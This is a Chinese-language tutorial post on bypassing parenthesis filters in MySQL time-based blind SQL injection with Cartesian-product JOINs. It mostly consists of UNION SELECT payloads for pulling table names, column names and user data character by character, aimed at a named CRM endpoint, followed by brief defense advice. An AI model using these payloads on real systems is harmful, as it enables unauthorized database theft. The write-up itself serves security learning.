记录使用笛卡尔积延时盲注绕过小括号过滤
字数 844 2025-08-05 11:39:37
笛卡尔积延时盲注绕过小括号过滤技术详解
0x01 技术背景
在SQL注入攻击中,当目标系统过滤了小括号时,传统的延时盲注技术(如使用SLEEP()、BENCHMARK()等函数)将失效。本文介绍一种通过笛卡尔积(Cross Join)实现延时盲注的技术,有效绕过小括号过滤限制。
0x02 注入点识别
典型场景
- 目标环境:PHP + MySQL
- 注入类型:延时盲注
- 过滤规则:过滤小括号
() - 注入点示例:
POST /techan/dialog_calendar HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: xxx suitid=11 <-- 注入点参数
确认注入点
- 通过特殊字符触发报错,暴露SQL语句结构
- 确认小括号被过滤,常规延时函数无法使用
0x03 笛卡尔积延时原理
MySQL中,当执行多表JOIN操作(特别是笛卡尔积)时,会产生大量临时数据,导致查询时间显著增加。通过控制JOIN条件,可以实现类似SLEEP()的延时效果。
基础延时语句
SELECT * FROM table1
UNION SELECT 1,2,3,4,5,6,7,b.column_name
FROM information_schema.tables a
JOIN information_schema.columns b
JOIN information_schema.columns c
WHERE 1=1 <-- 延时条件
WHERE 1=1:产生延时WHERE 1=2:不延时
0x04 实战利用步骤
1. 获取列名
SELECT * FROM target_table
UNION SELECT 1,2,3,4,5,6,7,b.column_name
FROM information_schema.columns b
WHERE b.column_name REGEXP BINARY '^a' <-- 判断列名是否以'a'开头
技巧:
- 使用
REGEXP BINARY进行精确匹配 - 通过遍历字符逐步获取完整列名:
WHERE b.column_name REGEXP BINARY '^ad' WHERE b.column_name REGEXP BINARY '^adm'
2. 获取表名
方法与获取列名类似,从information_schema.tables查询:
SELECT * FROM target_table
UNION SELECT 1,2,3,4,5,6,7,b.table_name
FROM information_schema.tables b
WHERE b.table_name REGEXP '^5k'
3. 获取表数据
已知表名(如5kcrm_user)和列名(如name)后:
SELECT * FROM target_table
UNION SELECT 1,2,3,4,5,6,7,name
FROM information_schema.columns b
JOIN 5kcrm_user
WHERE name REGEXP '^ad' <-- 判断数据是否以'ad'开头
数据提取技巧:
- 先确定字段长度:
WHERE LENGTH(name)=5 <-- 注意:LENGTH()可能需要其他方式绕过 - 逐字符爆破内容:
WHERE name REGEXP '^a' WHERE name REGEXP '^ad' WHERE name REGEXP '^adm'
0x05 优化与绕过技巧
-
替代
REGEXP:当REGEXP被过滤时,可使用LIKEWHERE name LIKE 'ad%' -
处理大小写敏感:
WHERE name REGEXP BINARY '^Admin' <-- 精确匹配大小写 -
减少请求次数:通过二分法加速爆破过程
-
多条件组合:同时判断多个条件
WHERE name REGEXP '^ad' AND email REGEXP '^user'
0x06 防御建议
- 使用参数化查询或预处理语句
- 严格过滤所有用户输入
- 限制数据库用户权限
- 监控异常长时间查询
- 禁用错误信息回显
0x07 总结
笛卡尔积延时盲注技术通过利用多表JOIN操作产生的性能开销实现延时效果,有效绕过小括号过滤限制。攻击者可以逐步获取数据库结构信息并提取敏感数据。防御方应实施多层防护措施,特别是对JOIN操作和延时行为进行监控。